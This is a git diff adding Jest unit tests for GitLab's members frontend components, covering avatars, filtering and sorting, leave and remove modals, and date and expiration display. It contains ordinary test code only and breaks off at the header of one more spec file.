@@ -0,0 +1,115 @@
+import { mount, createWrapper } from '@vue/test-utils';
+import { within } from '@testing-library/dom';
+import { GlAvatarLink, GlBadge } from '@gitlab/ui';
+import { member as memberMock, orphanedMember } from '../../mock_data';
+import UserAvatar from '~/members/components/avatars/user_avatar.vue';
+
+describe('UserAvatar', () => {
+ let wrapper;
+
+ const { user } = memberMock;
+
+ const createComponent = (propsData = {}) => {
+ wrapper = mount(UserAvatar, {
+ propsData: {
+ member: memberMock,
+ isCurrentUser: false,
+ ...propsData,
+ },
+ });
+ };
+
+ const getByText = (text, options) =>
+ createWrapper(within(wrapper.element).findByText(text, options));
+
+ const findStatusEmoji = emoji => wrapper.find(`gl-emoji[data-name="${emoji}"]`);
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it("renders link to user's profile", () => {
+ createComponent();
+
+ const link = wrapper.find(GlAvatarLink);
+
+ expect(link.exists()).toBe(true);
+ expect(link.attributes()).toMatchObject({
+ href: user.webUrl,
+ 'data-user-id': `${user.id}`,
+ 'data-username': user.username,
+ });
+ });
+
+ it("renders user's name", () => {
+ createComponent();
+
+ expect(getByText(user.name).exists()).toBe(true);
+ });
+
+ it("renders user's username", () => {
+ createComponent();
+
+ expect(getByText(`@${user.username}`).exists()).toBe(true);
+ });
+
+ it("renders user's avatar", () => {
+ createComponent();
+
+ expect(wrapper.find('img').attributes('src')).toBe(user.avatarUrl);
+ });
+
+ describe('when user property does not exist', () => {
+ it('displays an orphaned user', () => {
+ createComponent({ member: orphanedMember });
+
+ expect(getByText('Orphaned member').exists()).toBe(true);
+ });
+ });
+
+ describe('badges', () => {
+ it.each`
+ member | badgeText
+ ${{ ...memberMock, user: { ...memberMock.user, blocked: true } }} | ${'Blocked'}
+ ${{ ...memberMock, user: { ...memberMock.user, twoFactorEnabled: true } }} | ${'2FA'}
+ `('renders the "$badgeText" badge', ({ member, badgeText }) => {
+ createComponent({ member });
+
+ expect(wrapper.find(GlBadge).text()).toBe(badgeText);
+ });
+
+ it('renders the "It\'s you" badge when member is current user', () => {
+ createComponent({ isCurrentUser: true });
+
+ expect(getByText("It's you").exists()).toBe(true);
+ });
+ });
+
+ describe('user status', () => {
+ const emoji = 'island';
+
+ describe('when set', () => {
+ it('displays the status emoji', () => {
+ createComponent({
+ member: {
+ ...memberMock,
+ user: {
+ ...memberMock.user,
+ status: { emoji, messageHtml: 'On vacation' },
+ },
+ },
+ });
+
+ expect(findStatusEmoji(emoji).exists()).toBe(true);
+ });
+ });
+
+ describe('when not set', () => {
+ it('does not display status emoji', () => {
+ createComponent();
+
+ expect(findStatusEmoji(emoji).exists()).toBe(false);
+ });
+ });
+ });
+});
diff --git a/spec/frontend/members/components/filter_sort/filter_sort_container_spec.js b/spec/frontend/members/components/filter_sort/filter_sort_container_spec.js
new file mode 100644
index 00000000000..91277ae6d03
--- /dev/null
+++ b/spec/frontend/members/components/filter_sort/filter_sort_container_spec.js
@@ -0,0 +1,68 @@
+import { shallowMount, createLocalVue } from '@vue/test-utils';
+import Vuex from 'vuex';
+import FilterSortContainer from '~/members/components/filter_sort/filter_sort_container.vue';
+import MembersFilteredSearchBar from '~/members/components/filter_sort/members_filtered_search_bar.vue';
+import SortDropdown from '~/members/components/filter_sort/sort_dropdown.vue';
+
+const localVue = createLocalVue();
+localVue.use(Vuex);
+
+describe('FilterSortContainer', () => {
+ let wrapper;
+
+ const createComponent = state => {
+ const store = new Vuex.Store({
+ state: {
+ filteredSearchBar: {
+ show: true,
+ tokens: ['two_factor'],
+ searchParam: 'search',
+ placeholder: 'Filter members',
+ recentSearchesStorageKey: 'group_members',
+ },
+ tableSortableFields: ['account'],
+ ...state,
+ },
+ });
+
+ wrapper = shallowMount(FilterSortContainer, {
+ localVue,
+ store,
+ });
+ };
+
+ describe('when `filteredSearchBar.show` is `false` and `tableSortableFields` is empty', () => {
+ it('renders nothing', () => {
+ createComponent({
+ filteredSearchBar: {
+ show: false,
+ },
+ tableSortableFields: [],
+ });
+
+ expect(wrapper.html()).toBe('');
+ });
+ });
+
+ describe('when `filteredSearchBar.show` is `true`', () => {
+ it('renders `MembersFilteredSearchBar`', () => {
+ createComponent({
+ filteredSearchBar: {
+ show: true,
+ },
+ });
+
+ expect(wrapper.find(MembersFilteredSearchBar).exists()).toBe(true);
+ });
+ });
+
+ describe('when `tableSortableFields` is set', () => {
+ it('renders `SortDropdown`', () => {
+ createComponent({
+ tableSortableFields: ['account'],
+ });
+
+ expect(wrapper.find(SortDropdown).exists()).toBe(true);
+ });
+ });
+});
diff --git a/spec/frontend/members/components/filter_sort/members_filtered_search_bar_spec.js b/spec/frontend/members/components/filter_sort/members_filtered_search_bar_spec.js
new file mode 100644
index 00000000000..ca885000c2f
--- /dev/null
+++ b/spec/frontend/members/components/filter_sort/members_filtered_search_bar_spec.js
@@ -0,0 +1,176 @@
+import { shallowMount, createLocalVue } from '@vue/test-utils';
+import Vuex from 'vuex';
+import { GlFilteredSearchToken } from '@gitlab/ui';
+import MembersFilteredSearchBar from '~/members/components/filter_sort/members_filtered_search_bar.vue';
+import FilteredSearchBar from '~/vue_shared/components/filtered_search_bar/filtered_search_bar_root.vue';
+
+const localVue = createLocalVue();
+localVue.use(Vuex);
+
+describe('MembersFilteredSearchBar', () => {
+ let wrapper;
+
+ const createComponent = state => {
+ const store = new Vuex.Store({
+ state: {
+ sourceId: 1,
+ filteredSearchBar: {
+ show: true,
+ tokens: ['two_factor'],
+ searchParam: 'search',
+ placeholder: 'Filter members',
+ recentSearchesStorageKey: 'group_members',
+ },
+ canManageMembers: true,
+ ...state,
+ },
+ });
+
+ wrapper = shallowMount(MembersFilteredSearchBar, {
+ localVue,
+ store,
+ });
+ };
+
+ const findFilteredSearchBar = () => wrapper.find(FilteredSearchBar);
+
+ it('passes correct props to `FilteredSearchBar` component', () => {
+ createComponent();
+
+ expect(findFilteredSearchBar().props()).toMatchObject({
+ namespace: '1',
+ recentSearchesStorageKey: 'group_members',
+ searchInputPlaceholder: 'Filter members',
+ });
+ });
+
+ describe('filtering tokens', () => {
+ it('includes tokens set in `filteredSearchBar.tokens`', () => {
+ createComponent();
+
+ expect(findFilteredSearchBar().props('tokens')).toEqual([
+ {
+ type: 'two_factor',
+ icon: 'lock',
+ title: '2FA',
+ token: GlFilteredSearchToken,
+ unique: true,
+ operators: [{ value: '=', description: 'is' }],
+ options: [
+ { value: 'enabled', title: 'Enabled' },
+ { value: 'disabled', title: 'Disabled' },
+ ],
+ requiredPermissions: 'canManageMembers',
+ },
+ ]);
+ });
+
+ describe('when `canManageMembers` is false', () => {
+ it('excludes 2FA token', () => {
+ createComponent({
+ filteredSearchBar: {
+ show: true,
+ tokens: ['two_factor', 'with_inherited_permissions'],
+ searchParam: 'search',
+ placeholder: 'Filter members',
+ recentSearchesStorageKey: 'group_members',
+ },
+ canManageMembers: false,
+ });
+
+ expect(findFilteredSearchBar().props('tokens')).toEqual([
+ {
+ type: 'with_inherited_permissions',
+ icon: 'group',
+ title: 'Membership',
+ token: GlFilteredSearchToken,
+ unique: true,
+ operators: [{ value: '=', description: 'is' }],
+ options: [{ value: 'exclude', title: 'Direct' }, { value: 'only', title: 'Inherited' }],
+ },
+ ]);
+ });
+ });
+ });
+
+ describe('when filters are set via query params', () => {
+ beforeEach(() => {
+ delete window.location;
+ window.location = new URL('https://localhost');
+ });
+
+ it('parses and passes tokens to `FilteredSearchBar` component as `initialFilterValue` prop', () => {
+ window.location.search = '?two_factor=enabled&token_not_available=foobar';
+
+ createComponent();
+
+ expect(findFilteredSearchBar().props('initialFilterValue')).toEqual([
+ {
+ type: 'two_factor',
+ value: {
+ data: 'enabled',
+ operator: '=',
+ },
+ },
+ ]);
+ });
+
+ it('parses and passes search param to `FilteredSearchBar` component as `initialFilterValue` prop', () => {
+ window.location.search = '?search=foobar';
+
+ createComponent();
+
+ expect(findFilteredSearchBar().props('initialFilterValue')).toEqual([
+ {
+ type: 'filtered-search-term',
+ value: {
+ data: 'foobar',
+ },
+ },
+ ]);
+ });
+ });
+
+ describe('when filter bar is submitted', () => {
+ beforeEach(() => {
+ delete window.location;
+ window.location = new URL('https://localhost');
+ });
+
+ it('adds correct filter query params', () => {
+ createComponent();
+
+ findFilteredSearchBar().vm.$emit('onFilter', [
+ { type: 'two_factor', value: { data: 'enabled', operator: '=' } },
+ ]);
+
+ expect(window.location.href).toBe('https://localhost/?two_factor=enabled');
+ });
+
+ it('adds search query param', () => {
+ createComponent();
+
+ findFilteredSearchBar().vm.$emit('onFilter', [
+ { type: 'two_factor', value: { data: 'enabled', operator: '=' } },
+ { type: 'filtered-search-term', value: { data: 'foobar' } },
+ ]);
+
+ expect(window.location.href).toBe('https://localhost/?two_factor=enabled&search=foobar');
+ });
+
+ it('adds sort query param', () => {
+ window.location.search = '?sort=name_asc';
+
+ createComponent();
+
+ findFilteredSearchBar().vm.$emit('onFilter', [
+ { type: 'two_factor', value: { data: 'enabled', operator: '=' } },
+ { type: 'filtered-search-term', value: { data: 'foobar' } },
+ ]);
+
+ expect(window.location.href).toBe(
+ 'https://localhost/?two_factor=enabled&search=foobar&sort=name_asc',
+ );
+ });
+ });
+});
diff --git a/spec/frontend/members/components/filter_sort/sort_dropdown_spec.js b/spec/frontend/members/components/filter_sort/sort_dropdown_spec.js
new file mode 100644
index 00000000000..6fe67aded3d
--- /dev/null
+++ b/spec/frontend/members/components/filter_sort/sort_dropdown_spec.js
@@ -0,0 +1,162 @@
+import { mount, createLocalVue } from '@vue/test-utils';
+import Vuex from 'vuex';
+import { GlSorting, GlSortingItem } from '@gitlab/ui';
+import SortDropdown from '~/members/components/filter_sort/sort_dropdown.vue';
+import * as urlUtilities from '~/lib/utils/url_utility';
+
+const localVue = createLocalVue();
+localVue.use(Vuex);
+
+describe('SortDropdown', () => {
+ let wrapper;
+
+ const URL_HOST = 'https://localhost/';
+
+ const createComponent = state => {
+ const store = new Vuex.Store({
+ state: {
+ sourceId: 1,
+ tableSortableFields: ['account', 'granted', 'expires', 'maxRole', 'lastSignIn'],
+ filteredSearchBar: {
+ show: true,
+ tokens: ['two_factor'],
+ searchParam: 'search',
+ placeholder: 'Filter members',
+ recentSearchesStorageKey: 'group_members',
+ },
+ ...state,
+ },
+ });
+
+ wrapper = mount(SortDropdown, {
+ localVue,
+ store,
+ });
+ };
+
+ const findSortingComponent = () => wrapper.find(GlSorting);
+ const findSortDirectionToggle = () =>
+ findSortingComponent().find('button[title="Sort direction"]');
+ const findDropdownToggle = () => wrapper.find('button[aria-haspopup="true"]');
+ const findDropdownItemByText = text =>
+ wrapper
+ .findAll(GlSortingItem)
+ .wrappers.find(dropdownItemWrapper => dropdownItemWrapper.text() === text);
+
+ describe('dropdown options', () => {
+ beforeEach(() => {
+ delete window.location;
+ window.location = new URL(URL_HOST);
+ });
+
+ it('adds dropdown items for all the sortable fields', () => {
+ const URL_FILTER_PARAMS = '?two_factor=enabled&search=foobar';
+ const EXPECTED_BASE_URL = `${URL_HOST}${URL_FILTER_PARAMS}&sort=`;
+
+ window.location.search = URL_FILTER_PARAMS;
+
+ const expectedDropdownItems = [
+ {
+ label: 'Account',
+ url: `${EXPECTED_BASE_URL}name_asc`,
+ },
+ {
+ label: 'Access granted',
+ url: `${EXPECTED_BASE_URL}last_joined`,
+ },
+ {
+ label: 'Max role',
+ url: `${EXPECTED_BASE_URL}access_level_asc`,
+ },
+ {
+ label: 'Last sign-in',
+ url: `${EXPECTED_BASE_URL}recent_sign_in`,
+ },
+ ];
+
+ createComponent();
+
+ expectedDropdownItems.forEach(expectedDropdownItem => {
+ const dropdownItem = findDropdownItemByText(expectedDropdownItem.label);
+
+ expect(dropdownItem).not.toBe(null);
+ expect(dropdownItem.find('a').attributes('href')).toBe(expectedDropdownItem.url);
+ });
+ });
+
+ it('checks selected sort option', () => {
+ window.location.search = '?sort=access_level_asc';
+
+ createComponent();
+
+ expect(findDropdownItemByText('Max role').vm.$attrs.active).toBe(true);
+ });
+ });
+
+ describe('dropdown toggle', () => {
+ beforeEach(() => {
+ delete window.location;
+ window.location = new URL(URL_HOST);
+ });
+
+ it('defaults to sorting by "Account" in ascending order', () => {
+ createComponent();
+
+ expect(findSortingComponent().props('isAscending')).toBe(true);
+ expect(findDropdownToggle().text()).toBe('Account');
+ });
+
+ it('sets text as selected sort option', () => {
+ window.location.search = '?sort=access_level_asc';
+
+ createComponent();
+
+ expect(findDropdownToggle().text()).toBe('Max role');
+ });
+ });
+
+ describe('sort direction toggle', () => {
+ beforeEach(() => {
+ delete window.location;
+ window.location = new URL(URL_HOST);
+
+ jest.spyOn(urlUtilities, 'visitUrl');
+ });
+
+ describe('when current sort direction is ascending', () => {
+ beforeEach(() => {
+ window.location.search = '?sort=access_level_asc';
+
+ createComponent();
+ });
+
+ describe('when sort direction toggle is clicked', () => {
+ beforeEach(() => {
+ findSortDirectionToggle().trigger('click');
+ });
+
+ it('sorts in descending order', () => {
+ expect(urlUtilities.visitUrl).toHaveBeenCalledWith(`${URL_HOST}?sort=access_level_desc`);
+ });
+ });
+ });
+
+ describe('when current sort direction is descending', () => {
+ beforeEach(() => {
+ window.location.search = '?sort=access_level_desc';
+
+ createComponent();
+ });
+
+ describe('when sort direction toggle is clicked', () => {
+ beforeEach(() => {
+ findSortDirectionToggle().trigger('click');
+ });
+
+ it('sorts in ascending order', () => {
+ expect(urlUtilities.visitUrl).toHaveBeenCalledWith(`${URL_HOST}?sort=access_level_asc`);
+ });
+ });
+ });
+ });
+});
diff --git a/spec/frontend/members/components/modals/leave_modal_spec.js b/spec/frontend/members/components/modals/leave_modal_spec.js
new file mode 100644
index 00000000000..d7acf12212c
--- /dev/null
+++ b/spec/frontend/members/components/modals/leave_modal_spec.js
@@ -0,0 +1,91 @@
+import { mount, createLocalVue, createWrapper } from '@vue/test-utils';
+import { GlModal, GlForm } from '@gitlab/ui';
+import { nextTick } from 'vue';
+import { within } from '@testing-library/dom';
+import Vuex from 'vuex';
+import LeaveModal from '~/members/components/modals/leave_modal.vue';
+import { LEAVE_MODAL_ID } from '~/members/constants';
+import { member } from '../../mock_data';
+
+jest.mock('~/lib/utils/csrf', () => ({ token: 'mock-csrf-token' }));
+
+const localVue = createLocalVue();
+localVue.use(Vuex);
+
+describe('LeaveModal', () => {
+ let wrapper;
+
+ const createStore = (state = {}) => {
+ return new Vuex.Store({
+ state: {
+ memberPath: '/groups/foo-bar/-/group_members/:id',
+ ...state,
+ },
+ });
+ };
+
+ const createComponent = (propsData = {}, state) => {
+ wrapper = mount(LeaveModal, {
+ localVue,
+ store: createStore(state),
+ propsData: {
+ member,
+ ...propsData,
+ },
+ attrs: {
+ static: true,
+ visible: true,
+ },
+ });
+ };
+
+ const findModal = () => wrapper.find(GlModal);
+
+ const findForm = () => findModal().find(GlForm);
+
+ const getByText = (text, options) =>
+ createWrapper(within(findModal().element).getByText(text, options));
+
+ beforeEach(async () => {
+ createComponent();
+ await nextTick();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('sets modal ID', () => {
+ expect(findModal().props('modalId')).toBe(LEAVE_MODAL_ID);
+ });
+
+ it('displays modal title', () => {
+ expect(getByText(`Leave "${member.source.name}"`).exists()).toBe(true);
+ });
+
+ it('displays modal body', () => {
+ expect(getByText(`Are you sure you want to leave "${member.source.name}"?`).exists()).toBe(
+ true,
+ );
+ });
+
+ it('displays form with correct action and inputs', () => {
+ const form = findForm();
+
+ expect(form.attributes('action')).toBe('/groups/foo-bar/-/group_members/leave');
+ expect(form.find('input[name="_method"]').attributes('value')).toBe('delete');
+ expect(form.find('input[name="authenticity_token"]').attributes('value')).toBe(
+ 'mock-csrf-token',
+ );
+ });
+
+ it('submits the form when "Leave" button is clicked', () => {
+ const submitSpy = jest.spyOn(findForm().element, 'submit');
+
+ getByText('Leave').trigger('click');
+
+ expect(submitSpy).toHaveBeenCalled();
+
+ submitSpy.mockRestore();
+ });
+});
diff --git a/spec/frontend/members/components/modals/remove_group_link_modal_spec.js b/spec/frontend/members/components/modals/remove_group_link_modal_spec.js
new file mode 100644
index 00000000000..593dbcd28ba
--- /dev/null
+++ b/spec/frontend/members/components/modals/remove_group_link_modal_spec.js
@@ -0,0 +1,106 @@
+import { mount, createLocalVue, createWrapper } from '@vue/test-utils';
+import { GlModal, GlForm } from '@gitlab/ui';
+import { nextTick } from 'vue';
+import { within } from '@testing-library/dom';
+import Vuex from 'vuex';
+import RemoveGroupLinkModal from '~/members/components/modals/remove_group_link_modal.vue';
+import { REMOVE_GROUP_LINK_MODAL_ID } from '~/members/constants';
+import { group } from '../../mock_data';
+
+jest.mock('~/lib/utils/csrf', () => ({ token: 'mock-csrf-token' }));
+
+const localVue = createLocalVue();
+localVue.use(Vuex);
+
+describe('RemoveGroupLinkModal', () => {
+ let wrapper;
+
+ const actions = {
+ hideRemoveGroupLinkModal: jest.fn(),
+ };
+
+ const createStore = (state = {}) => {
+ return new Vuex.Store({
+ state: {
+ memberPath: '/groups/foo-bar/-/group_links/:id',
+ groupLinkToRemove: group,
+ removeGroupLinkModalVisible: true,
+ ...state,
+ },
+ actions,
+ });
+ };
+
+ const createComponent = state => {
+ wrapper = mount(RemoveGroupLinkModal, {
+ localVue,
+ store: createStore(state),
+ attrs: {
+ static: true,
+ },
+ });
+ };
+
+ const findModal = () => wrapper.find(GlModal);
+ const findForm = () => findModal().find(GlForm);
+ const getByText = (text, options) =>
+ createWrapper(within(findModal().element).getByText(text, options));
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ describe('when modal is open', () => {
+ beforeEach(async () => {
+ createComponent();
+ await nextTick();
+ });
+
+ it('sets modal ID', () => {
+ expect(findModal().props('modalId')).toBe(REMOVE_GROUP_LINK_MODAL_ID);
+ });
+
+ it('displays modal title', () => {
+ expect(getByText(`Remove "${group.sharedWithGroup.fullName}"`).exists()).toBe(true);
+ });
+
+ it('displays modal body', () => {
+ expect(
+ getByText(`Are you sure you want to remove "${group.sharedWithGroup.fullName}"?`).exists(),
+ ).toBe(true);
+ });
+
+ it('displays form with correct action and inputs', () => {
+ const form = findForm();
+
+ expect(form.attributes('action')).toBe(`/groups/foo-bar/-/group_links/${group.id}`);
+ expect(form.find('input[name="_method"]').attributes('value')).toBe('delete');
+ expect(form.find('input[name="authenticity_token"]').attributes('value')).toBe(
+ 'mock-csrf-token',
+ );
+ });
+
+ it('submits the form when "Remove group" button is clicked', () => {
+ const submitSpy = jest.spyOn(findForm().element, 'submit');
+
+ getByText('Remove group').trigger('click');
+
+ expect(submitSpy).toHaveBeenCalled();
+
+ submitSpy.mockRestore();
+ });
+
+ it('calls `hideRemoveGroupLinkModal` action when modal is closed', () => {
+ getByText('Cancel').trigger('click');
+
+ expect(actions.hideRemoveGroupLinkModal).toHaveBeenCalled();
+ });
+ });
+
+ it('modal does not show when `removeGroupLinkModalVisible` is `false`', () => {
+ createComponent({ removeGroupLinkModalVisible: false });
+
+ expect(findModal().vm.$attrs.visible).toBe(false);
+ });
+});
diff --git a/spec/frontend/members/components/table/created_at_spec.js b/spec/frontend/members/components/table/created_at_spec.js
new file mode 100644
index 00000000000..a9f809cd805
--- /dev/null
+++ b/spec/frontend/members/components/table/created_at_spec.js
@@ -0,0 +1,61 @@
+import { mount, createWrapper } from '@vue/test-utils';
+import { within } from '@testing-library/dom';
+import { useFakeDate } from 'helpers/fake_date';
+import CreatedAt from '~/members/components/table/created_at.vue';
+import TimeAgoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
+
+describe('CreatedAt', () => {
+ // March 15th, 2020
+ useFakeDate(2020, 2, 15);
+
+ const date = '2020-03-01T00:00:00.000';
+ const dateTimeAgo = '2 weeks ago';
+
+ let wrapper;
+
+ const createComponent = propsData => {
+ wrapper = mount(CreatedAt, {
+ propsData: {
+ date,
+ ...propsData,
+ },
+ });
+ };
+
+ const getByText = (text, options) =>
+ createWrapper(within(wrapper.element).getByText(text, options));
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('created at text', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('displays created at text', () => {
+ expect(getByText(dateTimeAgo).exists()).toBe(true);
+ });
+
+ it('uses `TimeAgoTooltip` component to display tooltip', () => {
+ expect(wrapper.find(TimeAgoTooltip).exists()).toBe(true);
+ });
+ });
+
+ describe('when `createdBy` prop is provided', () => {
+ it('displays a link to the user that created the member', () => {
+ createComponent({
+ createdBy: {
+ name: 'Administrator',
+ webUrl: 'https://gitlab.com/root',
+ },
+ });
+
+ const link = getByText('Administrator');
+
+ expect(link.exists()).toBe(true);
+ expect(link.attributes('href')).toBe('https://gitlab.com/root');
+ });
+ });
+});
diff --git a/spec/frontend/members/components/table/expiration_datepicker_spec.js b/spec/frontend/members/components/table/expiration_datepicker_spec.js
new file mode 100644
index 00000000000..ba1b2256e76
--- /dev/null
+++ b/spec/frontend/members/components/table/expiration_datepicker_spec.js
@@ -0,0 +1,166 @@
+import { mount, createLocalVue } from '@vue/test-utils';
+import Vuex from 'vuex';
+import { nextTick } from 'vue';
+import { GlDatepicker } from '@gitlab/ui';
+import { useFakeDate } from 'helpers/fake_date';
+import waitForPromises from 'helpers/wait_for_promises';
+import ExpirationDatepicker from '~/members/components/table/expiration_datepicker.vue';
+import { member } from '../../mock_data';
+
+const localVue = createLocalVue();
+localVue.use(Vuex);
+
+describe('ExpirationDatepicker', () => {
+ // March 15th, 2020 3:00
+ useFakeDate(2020, 2, 15, 3);
+
+ let wrapper;
+ let actions;
+ let resolveUpdateMemberExpiration;
+ const $toast = {
+ show: jest.fn(),
+ };
+
+ const createStore = () => {
+ actions = {
+ updateMemberExpiration: jest.fn(
+ () =>
+ new Promise(resolve => {
+ resolveUpdateMemberExpiration = resolve;
+ }),
+ ),
+ };
+
+ return new Vuex.Store({ actions });
+ };
+
+ const createComponent = (propsData = {}) => {
+ wrapper = mount(ExpirationDatepicker, {
+ propsData: {
+ member,
+ permissions: { canUpdate: true },
+ ...propsData,
+ },
+ localVue,
+ store: createStore(),
+ mocks: {
+ $toast,
+ },
+ });
+ };
+
+ const findInput = () => wrapper.find('input');
+ const findDatepicker = () => wrapper.find(GlDatepicker);
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('datepicker input', () => {
+ it('sets `member.expiresAt` as initial date', async () => {
+ createComponent({ member: { ...member, expiresAt: '2020-03-17T00:00:00Z' } });
+
+ await nextTick();
+
+ expect(findInput().element.value).toBe('2020-03-17');
+ });
+ });
+
+ describe('props', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('sets `minDate` prop as tomorrow', () => {
+ expect(
+ findDatepicker()
+ .props('minDate')
+ .toISOString(),
+ ).toBe(new Date('2020-3-16').toISOString());
+ });
+
+ it('sets `target` prop as `null` so datepicker opens on focus', () => {
+ expect(findDatepicker().props('target')).toBe(null);
+ });
+
+ it("sets `container` prop as `null` so table styles don't affect the datepicker styles", () => {
+ expect(findDatepicker().props('container')).toBe(null);
+ });
+
+ it('shows clear button', () => {
+ expect(findDatepicker().props('showClearButton')).toBe(true);
+ });
+ });
+
+ describe('when datepicker is changed', () => {
+ beforeEach(async () => {
+ createComponent();
+
+ findDatepicker().vm.$emit('input', new Date('2020-03-17'));
+ });
+
+ it('calls `updateMemberExpiration` Vuex action', () => {
+ expect(actions.updateMemberExpiration).toHaveBeenCalledWith(expect.any(Object), {
+ memberId: member.id,
+ expiresAt: new Date('2020-03-17'),
+ });
+ });
+
+ it('displays toast when successful', async () => {
+ resolveUpdateMemberExpiration();
+ await waitForPromises();
+
+ expect($toast.show).toHaveBeenCalledWith('Expiration date updated successfully.');
+ });
+
+ it('disables dropdown while waiting for `updateMemberExpiration` to resolve', async () => {
+ expect(findDatepicker().props('disabled')).toBe(true);
+
+ resolveUpdateMemberExpiration();
+ await waitForPromises();
+
+ expect(findDatepicker().props('disabled')).toBe(false);
+ });
+ });
+
+ describe('when datepicker is cleared', () => {
+ beforeEach(async () => {
+ createComponent();
+
+ findInput().setValue('2020-03-17');
+ await nextTick();
+ wrapper.find('[data-testid="clear-button"]').trigger('click');
+ });
+
+ it('calls `updateMemberExpiration` Vuex action', () => {
+ expect(actions.updateMemberExpiration).toHaveBeenCalledWith(expect.any(Object), {
+ memberId: member.id,
+ expiresAt: null,
+ });
+ });
+
+ it('displays toast when successful', async () => {
+ resolveUpdateMemberExpiration();
+ await waitForPromises();
+
+ expect($toast.show).toHaveBeenCalledWith('Expiration date removed successfully.');
+ });
+
+ it('disables datepicker while waiting for `updateMemberExpiration` to resolve', async () => {
+ expect(findDatepicker().props('disabled')).toBe(true);
+
+ resolveUpdateMemberExpiration();
+ await waitForPromises();
+
+ expect(findDatepicker().props('disabled')).toBe(false);
+ });
+ });
+
+ describe('when user does not have `canUpdate` permissions', () => {
+ it('disables datepicker', () => {
+ createComponent({ permissions: { canUpdate: false } });
+
+ expect(findDatepicker().props('disabled')).toBe(true);
+ });
+ });
+});
diff --git a/spec/frontend/members/components/table/expires_at_spec.js b/spec/frontend/members/components/table/expires_at_spec.js
new file mode 100644
index 00000000000..cf0fc78656e
--- /dev/null
+++ b/spec/frontend/members/components/table/expires_at_spec.js
@@ -0,0 +1,86 @@
+import { mount, createWrapper } from '@vue/test-utils';
+import { within } from '@testing-library/dom';
+import { useFakeDate } from 'helpers/fake_date';
+import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
+import ExpiresAt from '~/members/components/table/expires_at.vue';
+
+describe('ExpiresAt', () => {
+ // March 15th, 2020
+ useFakeDate(2020, 2, 15);
+
+ let wrapper;
+
+ const createComponent = propsData => {
+ wrapper = mount(ExpiresAt, {
+ propsData,
+ directives: {
+ GlTooltip: createMockDirective(),
+ },
+ });
+ };
+
+ const getByText = (text, options) =>
+ createWrapper(within(wrapper.element).getByText(text, options));
+
+ const getTooltipDirective = elementWrapper => getBinding(elementWrapper.element, 'gl-tooltip');
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('when no expiration date is set', () => {
+ it('displays "No expiration set"', () => {
+ createComponent({ date: null });
+
+ expect(getByText('No expiration set').exists()).toBe(true);
+ });
+ });
+
+ describe('when expiration date is in the past', () => {
+ let expiredText;
+
+ beforeEach(() => {
+ createComponent({ date: '2019-03-15T00:00:00.000' });
+
+ expiredText = getByText('Expired');
+ });
+
+ it('displays "Expired"', () => {
+ expect(expiredText.exists()).toBe(true);
+ expect(expiredText.classes()).toContain('gl-text-red-500');
+ });
+
+ it('displays tooltip with formatted date', () => {
+ const tooltipDirective = getTooltipDirective(expiredText);
+
+ expect(tooltipDirective).not.toBeUndefined();
+ expect(expiredText.attributes('title')).toBe('Mar 15, 2019 12:00am GMT+0000');
+ });
+ });
+
+ describe('when expiration date is in the future', () => {
+ it.each`
+ date | expected | warningColor
+ ${'2020-03-23T00:00:00.000'} | ${'in 8 days'} | ${false}
+ ${'2020-03-20T00:00:00.000'} | ${'in 5 days'} | ${true}
+ ${'2020-03-16T00:00:00.000'} | ${'in 1 day'} | ${true}
+ ${'2020-03-15T05:00:00.000'} | ${'in about 5 hours'} | ${true}
+ ${'2020-03-15T01:00:00.000'} | ${'in about 1 hour'} | ${true}
+ ${'2020-03-15T00:30:00.000'} | ${'in 30 minutes'} | ${true}
+ ${'2020-03-15T00:01:15.000'} | ${'in 1 minute'} | ${true}
+ ${'2020-03-15T00:00:15.000'} | ${'in less than a minute'} | ${true}
+ `('displays "$expected"', ({ date, expected, warningColor }) => {
+ createComponent({ date });
+
+ const expiredText = getByText(expected);
+
+ expect(expiredText.exists()).toBe(true);
+
+ if (warningColor) {
+ expect(expiredText.classes()).toContain('gl-text-orange-500');
+ } else {
+ expect(expiredText.classes()).not.toContain('gl-text-orange-500');
+ }
+ });
+ });
+});
diff --git a/spec/frontend/members/components/table/member_action_buttons_spec.js b/spec/frontend/members/components/table/member_action_buttons_spec.js
new file mode 100644
index 00000000000..b7a6df3d054
--- /dev/null
+++ b/spec/frontend/members/components/table/member_action_buttons_spec.js
@@ -0,0 +1,43 @@
+import { shallowMount } from '@vue/test-utils';
+import { MEMBER_TYPES } from '~/members/constants';
+import { member as memberMock, group, invite, accessRequest } from '../../mock_data';
+import MemberActionButtons from '~/members/components/table/member_action_buttons.vue';
+import UserActionButtons from '~/members/components/action_buttons/user_action_buttons.vue';
+import GroupActionButtons from '~/members/components/action_buttons/group_action_buttons.vue';
+import InviteActionButtons from '~/members/components/action_buttons/invite_action_buttons.vue';
+import AccessRequestActionButtons from '~/members/components/action_buttons/access_request_action_buttons.vue';
+
+describe('MemberActionButtons', () => {
+ let wrapper;
+
+ const createComponent = (propsData = {}) => {
+ wrapper = shallowMount(MemberActionButtons, {
+ propsData: {
+ isCurrentUser: false,
+ permissions: {
+ canRemove: true,
+ },
+ ...propsData,
+ },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ test.each`
+ memberType | member | expectedComponent | expectedComponentName
+ ${MEMBER_TYPES.user} | ${memberMock} | ${UserActionButtons} | ${'UserActionButtons'}
+ ${MEMBER_TYPES.group} | ${group} | ${GroupActionButtons} | ${'GroupActionButtons'}
+ ${MEMBER_TYPES.invite} | ${invite} | ${InviteActionButtons} | ${'InviteActionButtons'}
+ ${MEMBER_TYPES.accessRequest} | ${accessRequest} | ${AccessRequestActionButtons} | ${'AccessRequestActionButtons'}
+ `(
+ 'renders $expectedComponentName when `memberType` is $memberType',
+ ({ memberType, member, expectedComponent }) => {
+ createComponent({ memberType, member });
+
+ expect(wrapper.find(expectedComponent).exists()).toBe(true);
+ },
+ );
+});
diff --git a/spec/frontend/members/components/table/member_avatar_spec.js b/spec/frontend/members/components/table/member_avatar_spec.js
new file mode 100644
